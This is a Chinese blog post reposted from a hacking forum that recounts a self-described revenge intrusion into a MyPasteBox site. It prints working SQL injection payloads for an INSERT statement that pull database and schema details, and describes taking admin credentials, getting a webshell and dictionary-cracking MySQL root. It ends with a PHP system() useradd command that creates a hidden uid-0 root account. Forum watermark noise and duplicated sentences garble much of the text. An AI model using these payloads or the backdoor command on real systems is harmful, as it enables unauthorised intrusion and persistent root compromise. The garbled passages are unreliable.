标注的博客| 安全研究| 渗透测试| APT

首页

渗透xxx.la, 爆mypastebox菊花, 为fxxxxxx报仇!!!!

作者 tingey 时间 2020-03-21
all

小编注:本文主要用来探讨与学习MyPasteBox的渗透思路,属于技术研究与游戏人生之文。不存在任何人身攻击,希望不要煽风点火,激起仇恨。文中所涉人物、网站均系杜撰,且剧情中Y人物与F网站之间也不存在任何攻击关系,所有剧情均属杜撰。如有雷同,纯属巧合。 事情是这样的, 6月12日晚, 我在t00ls官方群里看到yxxx又出来装X了 出差在外今夜正好无聊, 大概了解了一下事情的原委, 好像是yxxx把Fxxxxxx给脱了, 然后把部分数据库发布到自己的网站(xxx.la)上强行装X。为了让这次装X扩大化, 其本人还在t00ls官方群里怂恿我们论坛会员去乌云等网站发帖散布他的"战果" - 专注网络安全& h. v6 s4 P3 ?www.t00ls.net0 W" `7 i& \8 H8 l- s0 X7 K大家都知道, 一般yxxx装逼我都是不鸟他的, 但是为什么这次要日他网站呢? 因为他这个不日, 那个不日, 偏偏日我Fxxxxxx??? 不知道我也是FFxxxxxx管理员之一吗? - 专注网络安全" _2 m+ D* E' S. k) ?, K/ ?3 g是可忍孰不可忍! 日了就日了, 还脱出数据强行装X那我简直就是忍无可忍了!www.t00ls.net/ u( P8 T8 t5 ~" P% K! V于是我把事情汇报给了我们Fxxxxxx总部, 总部非常支持我对yxxx的装X网站xxx.la进行报复性渗透得到了总部的支持, 我再也没有了顾虑, 既然法律制裁不了你, 那就让我来制裁你吧!www.t00ls.net; p6 n7 `: Z, I) Q! x8 g开始:首先是大概看了下这站的结构, 发现功能比较简单, 有注册用户, 登录, 发布等, 删除(需要登录以后)等几个功能初步判断是用的php+mysql编写, 注册了个用户, 然后大概看了下一些公开的url, 传参这些都没有什么问题www.t00ls.net% N+ N8 G- `! ?8 X' H9 i于是转移到发帖功能, 抓了下包, 首先是大概看了下这站的结构, 发现功能比较简单, 有注册用户, 登录, 发布等, 删除(需要登录以后)等几个功能初步判断是用的php+mysql编写, 注册了个用户, 然后大概看了下一些公开的url, 传参这些都没有什么问题www.t00ls.net% N+ N8 G- `! ?8 X' H9 i于是转移到发帖功能, 抓了下包, 随手在title参数后面加了个 \ , 然后就发布失败了, 提示了我这句话. 嗯, 好像是X花没有藏好, 初步判断这里是有注射了, 想了下发帖功能应该是insert语句, 这里又没有爆出mysql信息. 所以想直接爆菊(报错注射来获取信息) 是不可能了, 直接爆不了, 那我换个姿势总行了吧, 既然他都能强行装逼, 为何我就不能强行爆X呢?) G# G& r: U. T 大概构思下他的insert语句写法, 应该是这样的:www.t00ls.net: C) F4 z- j9 ]1 ]! f2 |, h& H - 专注网络安全# A3 q7 R2 ? D& d2 J K. K% w 再假设, title参数在其中的某一个位置, 我们提交 \ 报错, 那大概应该就是这样了:T00LS# p' Z9 T, b' T5 P+ A Z 嗯, 姑且就认为是这样吧, 也懒得细想了, 直接开整, 替换title值为: 提交后依然数据库错误, 肯定字段数是没对的, 于是把参数换成0, 因为这样兼容性更好, 如果是'' 字符型的话有些int型字段会插不进去报错, 继续T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security7 [$ I9 o2 X" V/ w T00LS7 H! } e8 J& \' u3 {' o; z3 t直到第13个值的时候, 终于发布成功了: 于是访问了下http://www.xxx.la/145/发现报错了, 无法访问: 但是仔细一看, 标题处已经把sbsbsbyxxx显示出来了, 所以想了下, 应该是插入的值没对T00LS$ R! [# }9 w& f. }导致php没输出内容, 就把标题搞出来了, 因为标题处 "sbsbsbyxxx" 已经在单引号内, mysql唯一的字符连接方式只有concat(val1, val2) - 专注网络安全% c; L% o& Z' j1 X4 R* U8 h$ `所以不能直接 sbsbsbyxxx'+version(),0,0,0,0,0,0,0,0,0,0,0,0)# 这样来获取信息, mysql会把他当作相加来运算但是这个好解决, 现在开始有两种办法 方法1, 多条insert方式直接插多一条数据: - 专注网络安全4 q! U" f0 H& R' x 这种方法虽然简单, 但是发布以后会把我们获取到的内容直接在标题显示出来, 也就是大家都看见了, 这样不好, 所以就想到了第二种方法www.t00ls.net7 B8 v4 v. t# p" f: V4 ~2 y 方法2, 大致分析每个字段的含义, 按照程序的标准来插入.这个方法就有点麻烦了, 因为总共有13个未知的值, 我们默认都是提交的0, 所以要一个个的来确定这些字段的作用是什么,这期间花费了我一个小时的时间, 就不细表了, 为了爆菊也是蛮拼的哦, 最终确定了一个固定的格式, 如下:

大致解释下是什么意思, version()处是文章的内容字段, 后面的0似乎是判断权限, 因为改为1以后访问文章就会提示你没有权限再后面的PHP是文章类型, 后面的9999999999是文章的到期时间, 这里折腾了我很久, 怎么改都访问不了, 最后才发现还有个到期时间所以直接改为9999999999就永久了, 再后面的e10adc3949ba59abbe56e796220f883e是文章的访问密码, 因为我无论这里写成空, 写成0, 还是写成其他的什么访问文章都要我输入密码, 于是我猜了下应该这个密码是md5加密的, 干脆直接写成了123456的md5值, 访问文章的时候输入密码123456果然成功了.T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security5 E' z2 ^2 r" I- _后面的manage是发布者名称, 这个随便写就行, 再后面的那串时间戳是发布时间, 剩下的作用不明, 但是已经能成功发布并且能够访问文章内容了 - 低调求发展" t* J2 }/ M0 w- R直接提交:www.t00ls.net& t$ E# C. s8 O3 j7 @7 F$ N sbsbsbyxxx',(SELECT CONCAT(version(),'^',database(),'^',user())),0,'PHP','9999999999','e10adc3949ba59abbe56e796220f883e','','manage','','','1434037668','','')# 然后输入密码123456访问此文章: - 低调求发展" R1 C4 l% ^. b& y# u 哈哈, 终于成功了, 但是这一步仅仅是开始, 就相当于你把yxxx的牛仔裤扒开了, 里面还有秋裤, 秋裤里面还有才是内裤, 所以要一个个的扒开才能达到爆X的终极目标!T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security. A$ r5 k1 x7 p1 S% P" ?) x: B- D那么牛仔裤我们扒开了, 怎么扒他的秋裤呢? 当然首要目标就是要拿个shell了, 看了下mysql不是root账户跑的.所以直接getshell或者loadfile就不科学了, 那就先跑跑库吧, 看看有哪些库:, V1 R6 ^8 V1 \ p sbsbsbyxxx',(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),0,'PHP','9999999999','e10adc3949ba59abbe56e796220f883e','','manage','','','1434037668','','')# 看来没有其他库, 只有wwwxxxla, 再看看wwwxxxla的表www.t00ls.net! l+ f; k* [( F8 u. W( u sbsbsbyxxx',(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='wwwxxxla'),0,'PHP','9999999999','e10adc3949ba59abbe56e796220f883e','','manage','','','1434037668','','')# 嗯, 看来程序挺简单的, 只有13个表, 跑了下admin表, 得到了管理员信息adminsb -> *********于是开始找后台, 最终得到后台路径为 admin1 , 终于要开始扒yxxx的秋裤了, 一想到秋裤扒完就可以扒内裤了! 我的心竟久久不能平静!www.t00ls.net6 a1 q7 l, h# m7 m0 { 看了下后台功能少的一X, 连上传都没有, 这可咋办呢, 难道就到此为止吗? 这样对得起我的组织吗? 显然仅仅进个后台是不够的! 我一定得为Fxxxxxx报仇雪恨! 通过后台了解到这个程序叫做MyPasteBox, 于是google找了份源码, 读了一下, 发现后台有个命令执行www.t00ls.net( w1 O% R& S+ `( @- t9 S具体怎么执行的就不多说了, 有兴趣的朋友可以自己去看一下. 最终拿到了一个webshell, - 专注网络安全3 F% h; O- c) m4 K8 |) Bhttp://xxx.la/freebuf.phpT00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security+ ? A" x6 P, X 在这一刻, 我激动的热泪盈眶, 言语已经无法表达我这热血澎湃的心了! 面前的红色内裤仿佛在向我招手: `! ^- O4 Q6 s% x2 u1 A& h7 M0 R迎接着我的到来, 红色的内裤仿佛一个未经世事的青涩小姑娘, 非常的期待, 也非常的害羞, 看到这一幕, 我终于无法忍受了!我感觉我的小宇宙就要爆发了, XXXXXXXX, 做好了万全的准备迎接着即将到来的战斗!T00LS3 W, y3 Z, S6 s3 X" s$ }+ K" i然而这并没有什么卵用...............www.t00ls.net. C4 q- ^4 H! @8 f5 J - 低调求发展& L/ z5 K; V8 i$ E& ^* \! W0 M进去了以后本以为一个exp提权然后格盘就完事了, but看了下内核太高 唉: 大概看了下, 是wdcp搭建的环境, 以前没搞过这个环境的站, google了下才知道wdcp默认管理端口是8080.可是看了下8080已经被关了, 看来yxxx还是太害羞了, 不好意思让我扒开他的内裤, 可是已经到了这一步了T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security9 R, L3 q9 E& s6 T. {.难道要我望X兴叹吗? 显然是不可能的, 这无法阻止我这炽热的心!! 于是扫了下端口, 扫到了个3388端口, 比较奇怪, 打开一看是XX空白, 但是favicon.ico显示了wdcp的logo, 这应该就是管理后台没错了$ N' y b! X* V但是为毛是空白呢, 这就有点费解了, 难道这一切的一切都是幻觉吗? 不! 我不甘心! - 低调求发展9 O' d x! A; J. I- r: d5 b3 R接下来只剩下了两条路, 第一是利用刚才破解出来的后台密码登录ftp(wdcp自带Pure-FTPd), 尝试登录ssh, 因第二是破解出mysql的root密码, 这样就可以看到wdcp的管理库进一步渗透,

第一步以失败告终, 看来密码不是通用的, ftp和ssh都没上去.T00LS4 ?3 c! }" d& }/ N, G9 A9 j$ ^: L1 e于是尝试破解mysql的root密码, 先还是试了下那个后台密码, 发现还是不行, 于是写了个脚本丢上去开跑.没想到一分钟不到, 就从字典里破解成功! - 专注网络安全9 n- B$ @! n M9 K好了, 到了这一步就没有什么废话好说了, 在wdcpdb库里的wd_conf表看了一下, 终于知道了管理页面为空的原因.原来是验证了后台的访问域名 好了, 到了这一步就没有什么废话好说了, 在wdcpdb库里的wd_conf表看了一下, 终于知道了管理页面为空的原因原来是验证了后台的访问域名: 于是添加了个hosts把这个域名指向到这个ip, 然后访问 域名:3388, 管理界面终于出来了, 在库里查到管理密码发现和网站的后台密码是一致的, 登录成功:T00LS1 C$ B2 z& s* H5 h 然后 系统管理 - 运行命令 添加用户却给我来了个危险操作 www.t00ls.net: C) F4 z- j9 ]1 ]! f2 |, h& H 都到了这一步了, 想不到内裤还是那么的羞涩, 不让我扒! 老子就要脱了X菊花!应该检测到了useradd, 就给我终止了, 这个简单, 文件管理那里随便写一个1.txt, 我写在了/tmp/内容:

1 <?php system( 'useradd -p `openssl passwd -1 -salt \'h3len\' pass***word` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lovey35u loveyxxx' );?>